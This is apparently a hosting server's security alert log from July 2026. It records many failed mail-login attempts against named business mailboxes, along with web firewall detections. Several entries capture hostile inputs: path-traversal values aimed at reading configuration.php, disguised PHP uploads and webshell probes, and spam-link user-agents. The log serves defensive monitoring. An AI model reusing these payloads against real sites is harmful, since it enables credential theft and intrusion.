IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 \xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb8\xab\xe0\xb8\xa5\xe0\xb8\xb8\xe0\xb8\x94\xe0\xb8\x81\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x95\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xa2 (<a href=\"http://onlyxvids.com/catalog/jav-xxx/\">http://onlyxvids.com/catalog/jav-xxx/</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.78.54.14
country_id: 1668284
description:
2026-07-07 06:16:06 dovecot_login authenticator failed for H=([93.95.241.150]) [211.78.54.14]:40098: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-07 06:19:56 dovecot_login authenticator failed for H=([180.94.75.90]) [210.206.24.237]:29974: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.75.176
country_id: 294640
description:
2026-07-07 06:20:17 dovecot_login authenticator failed for H=(92x255x196x185.static-customer.kzn.ertelecom.ru) [2.55.75.176]:51592: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.250.108
country_id: 1861060
domain: mail.kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/uploader.php||SC:/home/kallanigroup/public_html/images||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 180.150.113.91
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.25||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Minor||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.239.194.9
country_id: 99237
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/28/landscapes-eyeologic/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-07 06:26:39 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [197.219.210.86]:42518: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-07 06:27:35 dovecot_login authenticator failed for H=([111.118.47.8]) [128.185.220.90]:35352: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-07 06:30:23 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [182.95.229.110]:60344: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-07 06:30:42 dovecot_login authenticator failed for H=([49.124.151.64]) [206.62.136.109]:46948: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.82.7.89
country_id: 2077456
description:
2026-07-07 06:31:02 dovecot_login authenticator failed for H=(firewall01.practicetechnologies.ml.zerolag.com) [95.82.7.89]:54716: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 180.150.113.91
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.25||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Moderate||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-07 06:41:55 dovecot_login authenticator failed for H=(static-201-163-73-93.alestra.net.mx) [182.95.217.202]:32790: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-07 06:42:41 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [13.68.214.34]:41230: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-07 06:43:57 dovecot_login authenticator failed for H=([112.161.26.125]) [171.244.60.35]:41016: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-07 06:44:22 dovecot_login authenticator failed for H=([174.75.211.195]) [125.19.163.58]:58224: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.41.88
country_id: 1668284
description:
2026-07-07 06:44:35 dovecot_login authenticator failed for H=111-70-41-88.emome-ip.hinet.net ([118.43.196.193]) [111.70.41.88]:60794: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-07 06:47:08 dovecot_login authenticator failed for H=([111.26.177.215]) [102.211.7.162]:36338: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-07 06:46:33 dovecot_login authenticator failed for H=([207.254.29.22]) [1.250.67.190]:43984: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-07-07 06:49:18 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th (110-25-112-150.adsl.fetnet.net) [171.100.121.127]:52408: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.170.231.145
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es90?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.204
country_id: 1733045
description:
2026-07-07 06:49:50 dovecot_login authenticator failed for H=([117.216.33.31]) [49.124.148.204]:37224: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.158.145
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-07 06:53:17 dovecot_login authenticator failed for H=([182.74.216.124]) [49.124.205.169]:35204: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.185.6.181
country_id: 1269750
description:
2026-07-07 06:53:26 dovecot_login authenticator failed for H=([149.54.62.206]) [136.185.6.181]:35111: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-07 06:55:02 dovecot_login authenticator failed for H=([76.49.199.97]) [200.107.163.195]:39386: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-07 06:55:10 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([183.171.154.91]) [67.43.243.158]:55872: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-07 06:55:34 dovecot_login authenticator failed for H=(123-195-208-111.dynamic.kbronet.com.tw) [65.191.211.33]:40736: 535 Incorrect authentication data (set_id=no-reply)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.153.243.44
country_id: 102358
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/feed/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.209.112.180
country_id: 3865483
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/business-gravity-img-13-1170x710/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-07 07:06:16 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net (189-108-129-173.customer.tdatabrasil.net.br) [71.229.1.186]:59578: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.59.252.103
country_id: 1819730
description:
2026-07-07 07:10:50 dovecot_login authenticator failed for H=cm125-59-252-103.hkcable.com.hk ([112.184.47.98]) [125.59.252.103]:36762: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.182.213
country_id: 298795
description:
2026-07-07 07:17:51 dovecot_login authenticator failed for H=([183.6.44.239]) [188.59.182.213]:57938: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.115.141.58
country_id: 3703430
description:
2026-07-07 07:18:18 dovecot_login authenticator failed for H=([5.76.16.216]) [200.115.141.58]:59198: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.181.38
country_id: 2661886
description:
2026-07-07 07:24:58 dovecot_login authenticator failed for H=c-83-226-181-38.bbcust.telenor.se ([116.38.54.26]) [83.226.181.38]:38644: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-07 07:26:10 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com (host.46-183-135-88.broadband.redcom.ru) [24.142.170.231]:37488: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-07-07 07:26:21 dovecot_login authenticator failed for H=([189.108.215.39]) [85.152.57.60]:44822: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-07 07:26:23 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt ([102.211.7.162]) [89.152.82.108]:32824: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-07-07 07:26:51 dovecot_login authenticator failed for H=([182.73.164.228]) [27.123.114.190]:46902: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-07 07:30:53 dovecot_login authenticator failed for H=([197.219.208.38]) [65.99.181.123]:34024: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.213.137.209
country_id: 1835841
description:
2026-07-07 07:31:13 dovecot_login authenticator failed for H=([61.149.15.47]) [175.213.137.209]:54982: 535 Incorrect authentication data (set_id=contact)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.3
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://onlyxvids.com/video-tag/%E0%B9%81%E0%B8%95%E0%B8%81%E0%B9%83%E0%B8%99/\">\xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb8\xab\xe0\xb8\xa5\xe0\xb8\xb8\xe0\xb8\x94\xe0\xb8\x81\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x95\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xa2</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.172.83.242
country_id: 294640
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/08/29/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.230.46
country_id: 1269750
description:
2026-07-07 07:35:48 dovecot_login authenticator failed for H=([41.224.62.206]) [125.20.230.46]:39292: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-07 07:36:19 dovecot_login authenticator failed for H=([119.200.229.33]) [121.128.84.224]:50974: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.127.101.225
country_id: 1880251
description:
2026-07-07 07:38:19 dovecot_login authenticator failed for H=([49.124.153.12]) [101.127.101.225]:55472: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77350689
name: IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder
abuser: 195.3.222.218
country_id: 798544
domain: ibmcglobal.com
description:
IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder||MV:/media/com_acym/images/thumbnails/thumbnail_957.png?.php||SC:/home/ibmcglobal/public_html/media/com_acym||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.52.56
country_id: 6252001
description:
2026-07-07 07:38:32 dovecot_login authenticator failed for H=24-119-52-56.cpe.sparklight.net (191-210-133-134.user.vivozap.com.br) [24.119.52.56]:38368: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.186.132.29
country_id: 1168579
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/29/about-business-development/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-07 07:43:07 dovecot_login authenticator failed for H=([49.124.149.218]) [59.145.160.134]:37152: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-07-07 07:43:23 dovecot_login authenticator failed for H=([49.124.152.225]) [103.120.116.162]:50085: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 182.9.35.64
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/2023/11/config.php||SC:/home/idealloanzcom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-07 07:45:55 dovecot_login authenticator failed for H=(wsip-184-178-172-20.rn.hr.cox.net) [101.13.4.124]:46816: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-07 07:46:09 dovecot_login authenticator failed for H=([111.26.63.86]) [119.192.249.195]:60079: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77469916
abuser: 181.215.133.5
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-a37y7swr.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.29.30.52
country_id: 3608932
description:
2026-07-07 07:51:10 dovecot_login authenticator failed for H=([49.124.151.83]) [46.29.30.52]:11381: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.148.34
country_id: 6252001
domain: reach.ddgalaxy.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:173.208.148.34||TA:173.208.148.34||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-07 07:53:21 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:44216: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://codepanic.itigo.jp/patio/patio.cgi?read=3379&ukey=0\">HTX Khuy\xe1\xba\xbfn N\xc3\xb4ng|N\xc3\xb4ng nghi\xe1\xbb\x87p T\xc3\xa2y Nguy\xc3\xaan|Vi\xe1\xbb\x87n Eakmat Daklak</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.211
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://www.onlyxvids.com/\">ONLYXVIDS</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-07 07:58:46 dovecot_login authenticator failed for H=([116.232.161.15]) [120.29.140.188]:37605: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-07 07:59:26 dovecot_login authenticator failed for H=([222.108.109.37]) [117.211.15.93]:37398: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 31.134.7.138
country_id: 241170
domain: ahsmarine.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/213/feedback||


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 167.253.18.121
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:8.25||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/213/feedback||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.7.138
country_id: 241170
domain: ahsmarine.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142097r77142192||MV:08-01.31.134.7.138||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-07 08:03:14 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi ([61.185.30.170]) [80.223.200.184]:34904: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-07-07 08:03:18 dovecot_login authenticator failed for H=(a4.ucndns.in) [36.39.140.2]:36970: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.151.160.50
country_id: 2661886
description:
2026-07-07 08:03:34 dovecot_login authenticator failed for H=c188-151-160-50.bredband.tele2.se ([178.178.222.50]) [188.151.160.50]:51290: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-07 08:04:01 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([210.204.28.60]) [148.170.156.248]:49050: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-07 08:04:10 dovecot_login authenticator failed for H=([49.124.148.185]) [182.95.101.182]:52818: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-07 08:04:50 dovecot_login authenticator failed for H=([14.99.61.248]) [14.51.12.142]:50812: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.161
country_id: 337996
description:
2026-07-07 08:05:00 dovecot_login authenticator failed for H=(karuna.divineled.com) [196.190.43.161]:55060: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 69.48.202.178
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://www.boltmarketingllc.com/markets/stocks.php?article=abnewswire-2026-6-2-home-renovation-in-milton-wa-by-home-renovation-and-design-build-delivers-stylish-home-improvements\">home remodeling contractor</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.13.207.39
country_id: 3077311
description:
2026-07-07 08:05:39 dovecot_login authenticator failed for H=46-13-207-39.customers.tmcz.cz ([211.114.40.201]) [46.13.207.39]:45264: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-07 08:10:55 dovecot_login authenticator failed for H=([47.132.209.110]) [64.49.97.15]:43152: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.143
country_id: 1668284
description:
2026-07-07 08:11:07 dovecot_login authenticator failed for H=110-25-112-143.adsl.fetnet.net ([49.124.152.234]) [110.25.112.143]:59183: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-07 08:10:44 dovecot_login authenticator failed for H=([121.153.78.105]) [182.76.71.82]:56246: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-07 08:12:30 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [45.82.110.150]:57640: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-07 08:13:10 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([98.182.147.126]) [60.40.45.223]:55432: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.174.170.34
country_id: 6252001
description:
2026-07-07 08:13:37 dovecot_login authenticator failed for H=(210.4.68-73.bdcom.com) [70.174.170.34]:51641: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-07 08:14:16 dovecot_login authenticator failed for H=([49.124.149.196]) [64.72.74.162]:43031: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.27.37
country_id: 1269750
description:
2026-07-07 08:15:08 dovecot_login authenticator failed for H=([220.80.223.144]) [49.206.27.37]:48218: 535 Incorrect authentication data (set_id=contact)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.242.64.35
country_id: 6252001
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2024/10/14/lighting-control.jpg HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-07 08:17:16 dovecot_login authenticator failed for H=([183.233.85.194]) [218.156.93.206]:41861: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.248.19.103
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:configuration.php HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.75.248
country_id: 298795
description:
2026-07-07 08:17:38 dovecot_login authenticator failed for H=(ip-179.48.229.118.fiberlinkpe.net.br) [81.214.75.248]:46755: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140845
name: IM360 WAF: Joomla HD FLV 2.1.0.1 and below Arbitrary File Download Vulnerability (CVE-2010-1219)
abuser: 38.248.19.103
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Joomla HD FLV 2.1.0.1 and below Arbitrary File Download Vulnerability (CVE-2010-1219)||MVN:ARGS:f||RSV:8.25||T:APACHE||MV:../../../configuration.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-07 08:19:24 dovecot_login authenticator failed for H=([36.154.20.34]) [24.187.213.29]:58612: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77140844
name: IM360 WAF: Joomla com_cckjseblod Local File Download Vulnerability (2016-09-13)
abuser: 38.248.19.103
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Joomla com_cckjseblod Local File Download Vulnerability (2016-09-13)||MVN:ARGS:file||RSV:8.25||T:APACHE||MV:configuration.php||


plugin: modsec
rule: 77140851
name: IM360 WAF: Joomla com_Joomanager Arbitrary File Download (CVE-2017-18345)
abuser: 38.248.19.103
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Joomla com_Joomanager Arbitrary File Download (CVE-2017-18345)||MVN:ARGS:path||RSV:8.25||T:APACHE||MV:configuration.php||


plugin: modsec
rule: 77140847
name: IM360 WAF: Joomla Shape 5 MP3 Player 2.0 Local File Disclosure
abuser: 38.248.19.103
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Joomla Shape 5 MP3 Player 2.0 Local File Disclosure||MVN:ARGS:fileurl||RSV:8.25||T:APACHE||MV:../../../configuration.php||


plugin: modsec
rule: 77140850
name: IM360 WAF: Joomla com_macgallery 1.5 Arbitrary File Download (CVE-2014-0001)
abuser: 38.248.19.103
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Joomla com_macgallery 1.5 Arbitrary File Download (CVE-2014-0001)||MVN:ARGS:albumid||RSV:8.25||T:APACHE||MV:../../configuration.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-07 08:19:51 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net ([49.124.152.177]) [111.70.11.38]:33747: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.46.177.242
country_id: 3703430
description:
2026-07-07 08:21:21 dovecot_login authenticator failed for H=(dynamic-ip-19015713210.cable.net.co) [200.46.177.242]:60791: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-07 08:20:39 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net ([68.71.254.3]) [221.120.57.125]:43542: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
